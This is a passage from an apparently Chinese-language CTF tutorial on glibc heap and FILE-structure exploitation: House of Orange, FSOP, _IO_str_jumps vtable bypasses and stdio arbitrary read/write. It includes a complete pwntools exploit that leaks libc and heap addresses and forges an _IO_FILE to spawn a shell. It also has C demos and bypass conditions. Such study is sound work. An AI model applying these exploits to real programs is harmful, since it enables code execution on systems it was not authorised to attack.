                set_head (old_top, (old_size + 2 * SIZE_SZ) | PREV_INUSE);
                set_foot (old_top, (old_size + 2 * SIZE_SZ));
            }
      }
      else if (!tried_mmap)
          goto try_mmap;
    }
    ...
}
```

这样便可成功泄露 `libc` 基址,从而获得 `_IO_list_all` 地址,然后可以利用 `unsorted bin attack` 劫持 `_IO_list_all` 到`main_arena+88`,利用 `fp->chain` 域,使 `fp` 指 向 `old_top`,前 `8` 字节为 `'/bin/sh\x00'` 字符串,使 `_IO_OVERFLOW` 为`system` 函数的地址,从而获得 `shell`。

**前置脚本**

```python
from pwn import *

context.terminal=['tmux', 'splitw', '-h']
context.log_level = 'debug'
context.arch='amd64'
context.os='linux'

lk = lambda addrstring, address: log.info('{}: %#x'.format(addrstring), address)

is_local = True
def connect():
    global io, elf, libc
    elf = ELF("./houseoforange")
    libc = elf.libc

    if is_local:
      io = process('./houseoforange')
    else:
      io = remote('192.168.152.138',10001)

is_debug = True
def debug(gdbscript=""):
    if is_debug:
      gdb.attach(io, gdbscript=gdbscript)
      pause()
    else:
      pass

def build(length, name, price, color):
    io.sendlineafter(b"Your choice :", str(1).encode())
    io.sendlineafter(b"Length of name :", str(length).encode())
    io.sendafter(b"Name :", name)
    io.sendlineafter(b"Price of Orange:", str(price).encode())
    io.sendlineafter(b"Color of Orange:", str(color).encode())

def upgrade(length, name, price, color):
    io.sendlineafter(b"Your choice :", str(3).encode())
    io.sendlineafter(b"Length of name :", str(length).encode())
    io.sendafter(b"Name:", name)
    io.sendlineafter(b"Price of Orange: ", str(price).encode())
    io.sendlineafter(b"Color of Orange:", str(color).encode())
```



**泄露libc和heap基址**

```cpp
def leak():
    global malloc_hook, _IO_list_all, system_addr, heap_base
    build(0x30, b'ffff', 233, 0xDDAA) # chunk0
    #debug()
    payload = cyclic(0x30) + p64(0) + p64(0x21) + p32(233) + p32(0xDDAA)
    payload += p64(0) * 2 + p64(0xf81)
    upgrade(len(payload), payload, 233, 0xDDAA) # size must be page aligned
    #debug()
    build(0x1000, b'f', 233, 0xDDAA) # chunk1
    #debug()
    build(0x400, b'f'*8, 666, 2) # chunk2
    debug()
    io.sendlineafter(b"Your choice :", str(2).encode())
    io.recvuntil(b'f'*8)
    libc.address = u64(io.recvuntil(b'\x7f').ljust(8, b'\x00')) - 0x3c5188
    lk('libc base address', libc.address)
    _IO_list_all = libc.sym['_IO_list_all']
    system_addr = libc.sym['system']
    lk('_IO_list_all', _IO_list_all)
    lk('system_addr', system_addr)

    upgrade(0x10, b'f'*0x10, 666, 2)
    debug()
    io.sendlineafter(b"Your choice :", str(2).encode())
    io.recvuntil(b'f'*0x10)
    heap_addr = u64(io.recvuntil(b'\n', drop=True).ljust(8, b'\x00'))
    heap_base = heap_addr - 0xE0
    lk('heap_base', heap_base)
```





首先通过堆溢出将 `top_chunk` 的大小改为 `0xf81`。







然后申请一块大于 `0xf81` 的 `chunk` 利用上面讲的 `sysmalloc` 中的 `_int_free` 函数将 `old_top_chunk` 放入 `unsorted_bin` 中。在申请 `0x400` 大小的 `large_chunk` ,`ptmalloc2` 会先将 `old_top_chunk` 放进 `large_bin`,然后切分 `old_top_chunk`,再将其放回 `unsorted_bin`。 所以此时其 `fd_nextsize` 和 `bk_nextsize` 遗留了 `heap` 地址。其 `bk` 位置遗留了 `main_arean+0x668` 的地址。我们可以通过 `0x400` 这个堆块泄露出 `heap` 和 `libc` 地址,然后通过计算偏移获得基址。

**FSOP**

```python
def FSOP():
    orange = b'/bin/sh\x00' + p64(0x61) + p64(0) + p64(_IO_list_all - 0x10) # unsorted_bin_attack
    orange += p64(0) + p64(1)
    orange = orange.ljust(0xc0, b'\x00')
    orange += p64(0) * 3 + p64(heap_base + 0x5E8) + p64(0) * 2 + p64(system_addr)

    payload = cyclic(0x400) + p64(0) + p64(0x21) + p32(233) + p32(0xDDAA) + p64(0)
    payload += orange
    upgrade(len(payload), payload, 233, 0xDDAA)
    debug()

    gdb.attach(io)
    io.sendlineafter(b'Your choice : ', str(1).encode())
    pause()
```

我们可以通过 `unsorted_bin_attack` 将 `_IO_list_all` 指向 `main_arena+0x58` ,但这块区域是我们不可控的,我们看一下 `malloc_state` 结构体源码:

```cpp
struct malloc_state
{
__libc_lock_define (, mutex);
int flags;
/* int have_fastchunks; glibc 2.23 无此成员 */
mfastbinptr fastbinsY;
mchunkptr top;
mchunkptr last_remainder;
mchunkptr bins;
unsigned int binmap;
struct malloc_state *next;
struct malloc_state *next_free;
INTERNAL_SIZE_T attached_threads;
INTERNAL_SIZE_T system_mem;
INTERNAL_SIZE_T max_system_mem;
};
```

_(tips:bins 和 bins分别对应链表头和链表尾指针)_

`bins == small_bin == small_bin_0x60 ` ,`bins == unsorted_bin`,相差是 `12*8 = 0x60`。结合 `_IO_FILE_plus` 结构体如下图所示:

!(hosa_fake_io.png)

我们可以控制 `old_top_chunk` 的大小,把它 `size` 置为 `0x61`,并在其内部构建 `fake_IO_FILE_plus_2` 放进 `small_bin`,那么`fp->_chain` 将会指向 `fake_IO_FILE_2`。此时 `main_arena` 如下图。





为了绕过如下检查:

```cpp
    if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base))
      && _IO_OVERFLOW (fp, EOF) == EOF)
```

我们构造的 `fake_IO_FILE_plus` 如下图:





检测到内存错误后的调用 `_IO_OVERFLOW (fp, EOF)->_IO_OVERFLOW("/bin/sh\x00, EOF")->system("/bin/sh\x00")`。



**完整exp**

```python
from pwn import *

context.terminal=['tmux', 'splitw', '-h']
context.log_level = 'debug'
context.arch='amd64'
context.os='linux'

lk = lambda addrstring, address: log.info('{}: %#x'.format(addrstring), address)

is_local = True
def connect():
    global io, elf, libc
    elf = ELF("./houseoforange")
    libc = elf.libc

    if is_local:
      io = process('./houseoforange')
    else:
      io = remote('192.168.152.138',10001)

is_debug = True
def debug(gdbscript=""):
    if is_debug:
      gdb.attach(io, gdbscript=gdbscript)
      pause()
    else:
      pass

def build(length, name, price, color):
    io.sendlineafter(b"Your choice :", str(1).encode())
    io.sendlineafter(b"Length of name :", str(length).encode())
    io.sendafter(b"Name :", name)
    io.sendlineafter(b"Price of Orange:", str(price).encode())
    io.sendlineafter(b"Color of Orange:", str(color).encode())

def upgrade(length, name, price, color):
    io.sendlineafter(b"Your choice :", str(3).encode())
    io.sendlineafter(b"Length of name :", str(length).encode())
    io.sendafter(b"Name:", name)
    io.sendlineafter(b"Price of Orange: ", str(price).encode())
    io.sendlineafter(b"Color of Orange:", str(color).encode())

def leak():
    global malloc_hook, _IO_list_all, system_addr, heap_base
    build(0x30, b'ffff', 233, 0xDDAA) # chunk0
    #debug()
    payload = cyclic(0x30) + p64(0) + p64(0x21) + p32(233) + p32(0xDDAA)
    payload += p64(0) * 2 + p64(0xf81)
    upgrade(len(payload), payload, 233, 0xDDAA) # size must be page aligned
    #debug()
    build(0x1000, b'f', 233, 0xDDAA) # chunk1
    #debug()
    build(0x400, b'f'*8, 666, 2) # chunk2
    #debug()
    io.sendlineafter(b"Your choice :", str(2).encode())
    io.recvuntil(b'f'*8)
    libc.address = u64(io.recvuntil(b'\x7f').ljust(8, b'\x00')) - 0x3c5188
    lk('libc base address', libc.address)
    _IO_list_all = libc.sym['_IO_list_all']
    system_addr = libc.sym['system']
    lk('_IO_list_all', _IO_list_all)
    lk('system_addr', system_addr)

    upgrade(0x10, b'f'*0x10, 666, 2)
    #debug()
    io.sendlineafter(b"Your choice :", str(2).encode())
    io.recvuntil(b'f'*0x10)
    heap_addr = u64(io.recvuntil(b'\n', drop=True).ljust(8, b'\x00'))
    heap_base = heap_addr - 0xE0
    lk('heap_base', heap_base)

def FSOP():
    orange = b'/bin/sh\x00' + p64(0x61) + p64(0) + p64(_IO_list_all - 0x10) # unsorted_bin_attack
    orange += p64(0) + p64(1) # fp->_mode <= 0;fp->_IO_write_ptr>fp->_IO_write_base
    orange = orange.ljust(0xc0, b'\x00')
    orange += p64(0) * 3 + p64(heap_base + 0x5E8) + p64(0) * 2 + p64(system_addr)

    payload = cyclic(0x400) + p64(0) + p64(0x21) + p32(233) + p32(0xDDAA) + p64(0)
    payload += orange
    upgrade(len(payload), payload, 233, 0xDDAA)
    #debug()

    #gdb.attach(io)
    io.sendlineafter(b'Your choice : ', str(1).encode())
    #pause()

def pwn():
    connect()
    leak()
    FSOP()
    io.interactive()

if __name__ == "__main__":
    pwn()
```

## _IO_vtable_check 检查及新的利用方法

### glibc-2.24 加入的检查

`glibc-2.24` 后加入了针对 `IO_FILE_plus` 的 `vtable` 劫持的检测措施,`glibc`会在调用虚函数之前首先检查 `vtable` 地址的是否合法。首先会验证 `vtable` 是否位于`_IO_vtable`段中,如果满足条件就正常执行,否则会调用 `_IO_vtable_check` 做进一步检查。如果 `vtable` 是非法的,那么会引发 `abort`。

```cpp
#define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)
#define JUMP1(FUNC, THIS, X1) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)
# define _IO_JUMPS_FUNC(THIS) \
(IO_validate_vtable                                                   \
   (*(struct _IO_jump_t **) ((void *) &_IO_JUMPS_FILE_plus (THIS)   \
               + (THIS)->_vtable_offset)))

IO_validate_vtable (const struct _IO_jump_t *vtable)
{
    // 计算 _IO_vtable 长度
    uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
    const char *ptr = (const char *) vtable;
    // 计算 ptr 与 __start___libc_IO_vtables 距离
    uintptr_t offset = ptr - __start___libc_IO_vtables;
    // 如果即不在 _IO_vtable_段内, 则调用 _IO_vtable_check ()
    if (__glibc_unlikely (offset >= section_length))
      _IO_vtable_check ();
    return vtable;
}

void attribute_hidden
_IO_vtable_check (void)
{
#ifdef SHARED
/* Honor the compatibility flag.*/
void (*flag) (void) = atomic_load_relaxed (&IO_accept_foreign_vtables);
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (flag);
#endif
if (flag == &_IO_vtable_check)
    return;

/* In case this libc copy is in a non-default namespace, we always
   need to accept foreign vtables because there is always a
   possibility that FILE * objects are passed across the linking
   boundary.*/
{
    Dl_info di;
    struct link_map *l;
    if (_dl_open_hook != NULL
      || (_dl_addr (_IO_vtable_check, &di, &l, NULL) != 0
            && l->l_ns != LM_ID_BASE))
      return;
}

#else /* !SHARED */
/* We cannot perform vtable validation in the static dlopen case
   because FILE * handles might be passed back and forth across the
   boundary.Therefore, we disable checking in this case.*/
if (__dlopen != NULL)
    return;
#endif

__libc_fatal ("Fatal error: glibc detected an invalid stdio handle\n");
}
```

1. 判断 `vtable` 的地址是否处于 `glibc` 中的 `vtable` 数组段,是的话,通过检查。
2. 否则判断是否为外部的合法 `vtable`(重构或是动态链接库中的vtable),是的话,通过检查。
3. 否则报错,输出`Fatal error: glibc detected an invalid stdio handle`,程序退出。

### _fileno 相关利用

`_IO_FILE` 在使用标准 `IO` 库时会进行创建并负责维护一些相关信息,其中有一些域是表示调用 `fwrite`、`fread` 等函数时写入地址或读取地址的,如果可以控制这些数据就可以实现任意地址写或任意地址读。进程中包含了系统默认的三个文件流 `stdin,stdout,stderr`,因此这种方式可以不需要进程中存在文件操作,通过 `scanf,printf `一样可以进行利用。

* `fp->_fileno` 的值就是文件描述符,`stderr` 值为 `2`,`stdout` 值为 `1`,`stdin` 值为 `0`。
* `fp->_IO_buf_base` 表示操作的起始地址
* `fp->_IO_buf_end` 表示结束地址

**stdin 任意写**

大致了解 `fread` 的执行流程后,还需要绕过以下检查:

```cpp
_IO_size_t
_IO_file_xsgetn (_IO_FILE *fp, void *data, _IO_size_t n)
{
    ...
    /* fp->_IO_buf_base == NULL 会调用 _IO_doallocbuf (fp) 初始化缓冲区 */
      if (fp->_IO_buf_base == NULL)
    {
      /* Maybe we already have a push back pointer.*/
      if (fp->_IO_save_base != NULL)
      {
            free (fp->_IO_save_base);
               fp->_flags &= ~_IO_IN_BACKUP;
      }
      _IO_doallocbuf (fp);
    }
    /* 如果 fp->_IO_read_end > fp->_IO_read_ptr 则会将缓冲区内容复制到目标地址 */
    ...
    have = fp->_IO_read_end - fp->_IO_read_ptr;
    ...
    if (have > 0)
    {
      s = __mempcpy (s, fp->_IO_read_ptr, have);
      want -= have;
      fp->_IO_read_ptr += have;
   }
   ...
   /* 如果输入长度大于缓冲区大小则会直接读入 */
   if (fp->_IO_buf_base && want < (size_t) (fp->_IO_buf_end - fp->_IO_buf_base))
   {
         if (__underflow (fp) == EOF)
            break;
      continue;
   }
    ...
}
```

即:

* 设置` _IO_read_end `等于` _IO_read_ptr `。
* 设置 `_flag &~ _IO_NO_READS` 即` _flag &~ 0x4`。
* 设置 `_fileno` 为 `0` ,表示读入数据的来源是 `stdin` 。
* 设置` _IO_buf_base` 为 `write_start` ,`_IO_buf_end` 为 `write_end` ;
* 使得 `_IO_buf_end - _IO_buf_base` 大于 `fread` 要读的数据。

**示例**

```cpp
#include<stdio.h>
#include<unistd.h>
#define _GNU_SOURCE

typedef unsigned long long i64;
char buf;

int main() {
    char stack_buf;
    i64 libc_base = (i64) &puts - 0x84420;
    // 0x1ec980 为 _IO_2_1_stdin_ 偏移
    FILE *fp = libc_base + 0x1ec980;
    fp->_IO_read_end = fp->_IO_read_ptr = 0x0;
    fp->_flags &= ~0x4;
    fp->_fileno = 0x0;
    fp->_IO_buf_base = (char *) buf;
    fp->_IO_buf_end = (char *) &buf;
    fread(stack_buf, 1, 3, fp);
    printf("buf: %s", buf);
    printf("stack_buf: %s\n", stack_buf);
    return 0;
}
```

使用 `libc6_2.31-0ubuntu9.9_amd64` 版本编译运行结果如下:



**stdout 任意写**

有如下源码:

```cpp
_IO_new_file_xsputn (_IO_FILE *f, const void *data, _IO_size_t n)
{
    ...
    else if (f->_IO_write_end > f->_IO_write_ptr)
      count = f->_IO_write_end - f->_IO_write_ptr;
    if (count > 0)
    {
      if (count > to_do)
            count = to_do;
      
      f->_IO_write_ptr = __mempcpy (f->_IO_write_ptr, s, count);
      s += count;
      to_do -= count;
    }
    ...
}
```

将`_IO_write_ptr` 指向 `write_start` ,`_IO_write_end` 指向 `write_end` 即可实现在目标地址写入数据。

**示例**

```cpp
#include<stdio.h>
#include<unistd.h>
#define _GNU_SOURCE

typedef unsigned long long i64;
char buf;

int main() {
    char *stack_buf = "abcdefg";
    i64 libc_base = (i64) &puts - 0x84420;
    FILE *fp = (FILE *) (libc_base + 0x1ed6a0);
    fp->_IO_write_ptr = (char *) &buf;
    fp->_IO_write_end = (char *) &buf;
    fwrite(stack_buf, 1, 8, fp);
    printf("\nbuf: %s\n", buf);
    return 0;
}
```

使用 `libc6_2.31-0ubuntu9.9_amd64` 版本编译运行结果如下:



**stdout 任意读**

程序正确执行到 `_IO_overflow` 时,有如下源码:

```cpp
_IO_size_t
_IO_new_file_xsputn (_IO_FILE *f, const void *data, _IO_size_t n)
{
    ...
    /*
    *f->_IO_write_end > f->_IO_write_ptr 就会将待输出的数据写入缓冲区,_IO_overflow 只有在输出缓冲区写满的时候才将其       *输出。因此为了不造成不必要的麻烦,直接令 f->_IO_write_end = f->_IO_write_ptr 。
    */
    else if (f->_IO_write_end > f->_IO_write_ptr)
      count = f->_IO_write_end - f->_IO_write_ptr; /* Space available. */

      /* Then fill the buffer. */
      if (count > 0)
    {
          if (count > to_do)
            count = to_do;
      
          f->_IO_write_ptr = __mempcpy (f->_IO_write_ptr, s, count);
          s += count;
          to_do -= count;
    }
      ...
}
```

```cpp
int
_IO_new_file_overflow (_IO_FILE *f, int ch)
{
    // _flags 不能包含 _IO_NO_WRITES,其值为 0x8 。
      if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
    {
          f->_flags |= _IO_ERR_SEEN;
          __set_errno (EBADF);
          return EOF;
    }
    //为了进入如下分枝进造成不必要的麻烦, _flags 应包含 _IO_CURRENTLY_PUTTING,其值为 0x0800
   if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)
    {
      ...
      // _IO_write_base = read_start,_IO_write_ptr = read_end
          if (ch == EOF)
            return _IO_do_write (f, f->_IO_write_base,f->_IO_write_ptr - f->_IO_write_base);
      ...
    }
}

int
_IO_new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)
{
return (to_do == 0
      || (_IO_size_t) new_do_write (fp, data, to_do) == to_do) ? 0 : EOF;
}
libc_hidden_ver (_IO_new_do_write, _IO_do_write)

static
_IO_size_t
new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)
{
    ...
    // 构造 _flags 包含 _IO_IS_APPENDING,其值为 0x1000
    // 或者 _IO_read_end 等于 _IO_write_base 就可以直接执行到 _IO_SYSWRITE
    if (fp->_flags & _IO_IS_APPENDING)
      fp->_offset = _IO_pos_BAD;
      else if (fp->_IO_read_end != fp->_IO_write_base)
    {
          _IO_off64_t new_pos = _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
          if (new_pos == _IO_pos_BAD)
            return 0;
         fp->_offset = new_pos;
    }
      count = _IO_SYSWRITE (fp, data, to_do);
    ...
}
```



* 设置 `_flag &~ _IO_NO_WRITES` 即` _flag &~ 0x8`。
* 设置` _flag & _IO_CURRENTLY_PUTTING` 即 `_flag | 0x800`
* 设置 `_IO_write_base` 指向想要泄露的地方;`_IO_write_ptr` 指向泄露结束的地址。
* 设置 `_IO_read_end` 等于` _IO_write_base` 或设置 `_flag & _IO_IS_APPENDING` 即 `_flag | 0x1000`。
* 设置 `_IO_write_end` 等于 `_IO_write_ptr`(非必须)。

**示例**

```cpp
#include<stdio.h>

typedef unsigned long long i64;
char buf[] = "123456";

int main() {
    char stack_buf[] = "abcdef";
    i64 libc_base = (i64) &puts - 0x84420;
    // _IO_2_1_stdout
    FILE *fp = (FILE *) (libc_base + 0x1ed6a0);
    fp->_flags &= ~0x8;
    fp->_flags |= 0x800;
    fp->_IO_write_base = (char *) buf;
    fp->_IO_write_ptr = (char *) &buf;
    fp->_IO_read_end = fp->_IO_write_base;
    puts(stack_buf);
    return 0;
}
```



## _IO_str_jumps 与 _IO_wstr_jumps

`__start___libc_IO_vtables`指向第一个 `vtable` 地址`_IO_helper_jumps`,而`__stop___libc_IO_vtables`指向最后一个vtable`_IO_str_chk_jumps`结束的地址。想将 `vtable` 覆盖成外部地址且仍然通过检查,可以有两种方式:

1. 使得 `flag == &_IO_vtable_check`
2. 使 `_dl_open_hook!= NULL`
3. 寻找其他位于`__start___libc_IO_vtables` 和 `__stop___libc_IO_vtables` 之间的 `vtable`

第一种方式不可控,因为 `flag` 的获取和比对是类似 `canary` 的方式,其对应的汇编代码如下:

```assembly
<_IO_vtable_check+7>   mov    rax, qword ptr <0x7fefcac69458>
<_IO_vtable_check+14>    ror    rax, 0x11
<_IO_vtable_check+18>    xor    rax, qword ptr fs:
<_IO_vtable_check+27>    cmp    rax, rdi
```

第二种方式,理论上可行,但是如果我们可以找到存在往`_dl_open_hook`中写值的方法,完全利用该方法来进行更为简单的利用。

第三种方式, `_IO_str_jumps` 与 `__IO_wstr_jumps` 这两个 `vtable` 就位于 `__stop___libc_IO_vtables` 和 `__start___libc_IO_vtables` 之间,所以我们是可以利用他们来通过 `IO_validate_vtable` 的检测的,只需要将 `*vtable` 填成 `_IO_str_jumps` 或 `_IO_wstr_jumps` 地址即可。`_IO_wstr_jumps`与`_IO_str_jumps`功能基本一致,只是`_IO_wstr_jumps`是处理 `wchar`的,利用方式主要有针对 `_IO_str_jumps` 中的 `_IO_str_finsh` 函数和 `_IO_str_overflow` 两种。

**一些下面用到的结构体定义**

```cpp
struct _IO_str_fields
{
_IO_alloc_type _allocate_buffer;
_IO_free_type _free_buffer;
};

struct _IO_streambuf
{
struct _IO_FILE _f;
const struct _IO_jump_t *vtable;
};

typedef struct _IO_strfile_
{
struct _IO_streambuf _sbf;
struct _IO_str_fields _s;
} _IO_strfile;
```

### _IO_str_jumps

```cpp
const struct _IO_jump_t _IO_str_jumps libio_vtable =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_str_finish),
JUMP_INIT(overflow, _IO_str_overflow),
JUMP_INIT(underflow, _IO_str_underflow),
JUMP_INIT(uflow, _IO_default_uflow),
JUMP_INIT(pbackfail, _IO_str_pbackfail),
JUMP_INIT(xsputn, _IO_default_xsputn),
JUMP_INIT(xsgetn, _IO_default_xsgetn),
JUMP_INIT(seekoff, _IO_str_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_default_setbuf),
JUMP_INIT(sync, _IO_default_sync),
JUMP_INIT(doallocate, _IO_default_doallocate),
JUMP_INIT(read, _IO_default_read),
JUMP_INIT(write, _IO_default_write),
JUMP_INIT(seek, _IO_default_seek),
JUMP_INIT(close, _IO_default_close),
JUMP_INIT(stat, _IO_default_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue)
};
```

`_IO_str_jumps` 符号在 `strip` 后会丢失,定位其地址方法如下:

- `_IO_str_jumps`是 `vtable` 中的倒数第二个表,可以通过 `vtable` 的最后地址减去`0x168`。
- `IDA` 寻找`_IO_file_jumps` 在后面找到`_IO_str_****`的函数表即可。



**_IO_str_finish**

下面是 `_IO_str_finish` 函数:

```cpp
/* glibc < 2.28 的实现 */
void
_IO_str_finish (_IO_FILE *fp, int dummy)
{
if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
    (((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base);
fp->_IO_buf_base = NULL;

_IO_default_finish (fp, 0);
}
```

它使用了 `_IO_FILE` 结构体中的值当作函数地址来直接调用,如果修改 `((_IO_strfile *) fp)->_s._free_buffer` 为 `system` 地址,然后修改 `fp->_IO_buf_base` 为 `/bin/sh\x00` 字符串地址,然后触发程序执行 `_IO_str_finish` 函数就可以得到 `shell` 。

> * 首先需要绕过之前的 `_IO_flush_all_lokcp`函数中的输出缓冲区的检查 `_mode<=0` 以及`_IO_write_ptr>_IO_write_base` 进入到 `_IO_OVERFLOW` 中。
> * 将 `vtable` 的地址覆盖成 `_IO_str_jumps-0x8` 的地址,这样原来 `_IO_OVERFLOW` 就变成 `_IO_str_finish`。
> * `fp->_IO_buf_base = "/bin/sh\x00"` 作为函数第一个参数。
> * `fp->_flags`要不包含`_IO_USER_BUF`,它被定义为 `1` ,即 `fp->_flags`最低位为 `0`。
> * `fp->_s._free_buffer(fp+0xe8)`改为`system`或`one gadget`的地址。

**_IO_str_overflow**

```cpp
#define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)
int
_IO_str_overflow (_IO_FILE *fp, int c)
{
    int flush_only = c == EOF;
    ...
    // fp->_IO_write_ptr - fp->_IO_write_base >= (_IO_size_t) (_IO_blen (fp) + flush_only)
      pos = fp->_IO_write_ptr - fp->_IO_write_base;
      if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))
    {
      // not allowed 绕过 _IO_USER_BUF(0x01)
          if (fp->_flags & _IO_USER_BUF)
            return EOF;
          else
      {
            char *new_buf;
            char *old_buf = fp->_IO_buf_base;
            // fp->_IO_buf_end - fp->_IO_buf_base,这里让 _IO_buf_base = 0;
            size_t old_blen = _IO_blen (fp);
            // fp->_IO_buf_end = (bin_sh_addr - 100) / 2
            _IO_size_t new_size = 2 * old_blen + 100;
            if (new_size < old_blen)
                return EOF;
            // 函数指针调用 fp+0xe8 = system_addr
            new_buf= (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);
            ...
      }
      ...
    }
    ...
}
```

即绕过条件为

>* 首先需要绕过之前的 `_IO_flush_all_lokcp`函数中的输出缓冲区的检查 `_mode<=0` 以及`_IO_write_ptr>_IO_write_base` 进入到 `_IO_OVERFLOW` 中。
>* `_IO_buf_base = 0`,`_IO_buf_end = (bin_sh_addr - 100) / 2`
>* `fp->_flags`要不包含`_IO_USER_BUF`,它被定义为 `1` ,即 `fp->_flags`最低位为 `0`。
>* `_IO_write_ptr = ((bin_sh_addr - 100) / 2) +1` 且`_IO_write_base = 0x0`
>* `fp->_s._allocate_buffer(fp+0xe0)` 改为 `system` 或 `one_gadget` 地址。

直接将 `vtable->fake_IO_str_jumps_vtable` 即可,因为 `_IO_str_overflow` 也在 `0x18` 的位置。

### _IO_wstr_jumps

其用法和`_IO_str_jumps` 相似,`_IO_wstr_jumps`与`_IO_str_jumps`功能基本一致,只是`_IO_wstr_jumps`是处理 `wchar`的。其定义如下:

```cpp
const struct _IO_jump_t _IO_wstr_jumps libio_vtable =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_wstr_finish),
JUMP_INIT(overflow, (_IO_overflow_t) _IO_wstr_overflow),
JUMP_INIT(underflow, (_IO_underflow_t) _IO_wstr_underflow),
JUMP_INIT(uflow, (_IO_underflow_t) _IO_wdefault_uflow),
JUMP_INIT(pbackfail, (_IO_pbackfail_t) _IO_wstr_pbackfail),
JUMP_INIT(xsputn, _IO_wdefault_xsputn),
JUMP_INIT(xsgetn, _IO_wdefault_xsgetn),
JUMP_INIT(seekoff, _IO_wstr_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_default_setbuf),
JUMP_INIT(sync, _IO_default_sync),
JUMP_INIT(doallocate, _IO_wdefault_doallocate),
JUMP_INIT(read, _IO_default_read),
JUMP_INIT(write, _IO_default_write),
JUMP_INIT(seek, _IO_default_seek),
JUMP_INIT(close, _IO_default_close),
JUMP_INIT(stat, _IO_default_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue)
};
```

**_IO_wstr_overflow**

```cpp
_IO_wint_t
_IO_wstr_overflow (_IO_FILE *fp, _IO_wint_t c)
{
int flush_only = c == WEOF;
_IO_size_t pos;
if (fp->_flags & _IO_NO_WRITES)
      return flush_only ? 0 : WEOF;
if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
    {
      fp->_flags |= _IO_CURRENTLY_PUTTING;
      fp->_wide_data->_IO_write_ptr = fp->_wide_data->_IO_read_ptr;
      fp->_wide_data->_IO_read_ptr = fp->_wide_data->_IO_read_end;
    }
pos = fp->_wide_data->_IO_write_ptr - fp->_wide_data->_IO_write_base;
if (pos >= (_IO_size_t) (_IO_wblen (fp) + flush_only))
    {
      if (fp->_flags2 & _IO_FLAGS2_USER_WBUF) /* not allowed to enlarge */
    return WEOF;
      else
    {
      wchar_t *new_buf;
      wchar_t *old_buf = fp->_wide_data->_IO_buf_base;
      size_t old_wblen = _IO_wblen (fp);
      _IO_size_t new_size = 2 * old_wblen + 100;

      if (__glibc_unlikely (new_size < old_wblen)
          || __glibc_unlikely (new_size > SIZE_MAX / sizeof (wchar_t)))
      return EOF;

      new_buf = (wchar_t *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size * sizeof (wchar_t));
      if (new_buf == NULL)
      {
          /*      __ferror(fp) = 1; */
          return WEOF;
      }
      if (old_buf)
      {
          __wmemcpy (new_buf, old_buf, old_wblen);
          (*((_IO_strfile *) fp)->_s._free_buffer) (old_buf);
          /* Make sure _IO_setb won't try to delete _IO_buf_base. */
          fp->_wide_data->_IO_buf_base = NULL;
      }

      __wmemset (new_buf + old_wblen, L'\0', new_size - old_wblen);

      _IO_wsetb (fp, new_buf, new_buf + new_size, 1);
      fp->_wide_data->_IO_read_base =
      new_buf + (fp->_wide_data->_IO_read_base - old_buf);
      fp->_wide_data->_IO_read_ptr =
      new_buf + (fp->_wide_data->_IO_read_ptr - old_buf);
      fp->_wide_data->_IO_read_end =
      new_buf + (fp->_wide_data->_IO_read_end - old_buf);
      fp->_wide_data->_IO_write_ptr =
      new_buf + (fp->_wide_data->_IO_write_ptr - old_buf);

      fp->_wide_data->_IO_write_base = new_buf;
      fp->_wide_data->_IO_write_end = fp->_wide_data->_IO_buf_end;
    }
    }

if (!flush_only)
    *fp->_wide_data->_IO_write_ptr++ = c;
if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_read_end)
    fp->_wide_data->_IO_read_end = fp->_wide_data->_IO_write_ptr;
return c;
}
```

**_IO_wstr_finish**

```cpp
void
_IO_wstr_finish (_IO_FILE *fp, int dummy)
{
if (fp->_wide_data->_IO_buf_base && !(fp->_flags2 & _IO_FLAGS2_USER_WBUF))
    (((_IO_strfile *) fp)->_s._free_buffer) (fp->_wide_data->_IO_buf_base);
fp->_wide_data->_IO_buf_base = NULL;

_IO_wdefault_finish (fp, 0);
}
```

### glibc-2.28 防御措施

在 `glibc-2.28` 版本中,用操作堆的 `malloc` 函数和 `free` 函 数 替 换 原 来 在 `_IO_str_fields` 里 的 `_allocate_buffer` 和 `_free_buffer` 。 由 于 不 再 使 用 偏 移 , 也 就 不 能 利 用 `__libc_IO_vtables` 上的 `vtable` 绕过检查,于是新的 `FOSP` 利用技术 就失效了。

```cpp
void
_IO_str_finish (FILE *fp, int dummy)
{
if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
    free (fp->_IO_buf_base);
fp->_IO_buf_base = NULL;

_IO_default_finish (fp, 0);
}
void
_IO_wstr_finish (FILE *fp, int dummy)
{
if (fp->_wide_data->_IO_buf_base && !(fp->_flags2 & _IO_FLAGS2_USER_WBUF))
    free (fp->_wide_data->_IO_buf_base);
fp->_wide_data->_IO_buf_base = NULL;

_IO_wdefault_finish (fp, 0);
}
```

```cpp
int
_IO_str_overflow (FILE *fp, int c)
{
      int flush_only = c == EOF;
    ...
      pos = fp->_IO_write_ptr - fp->_IO_write_base;
      if (pos >= (size_t) (_IO_blen (fp) + flush_only))
    {
          if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
            return EOF;
          else
      {
            char *new_buf;
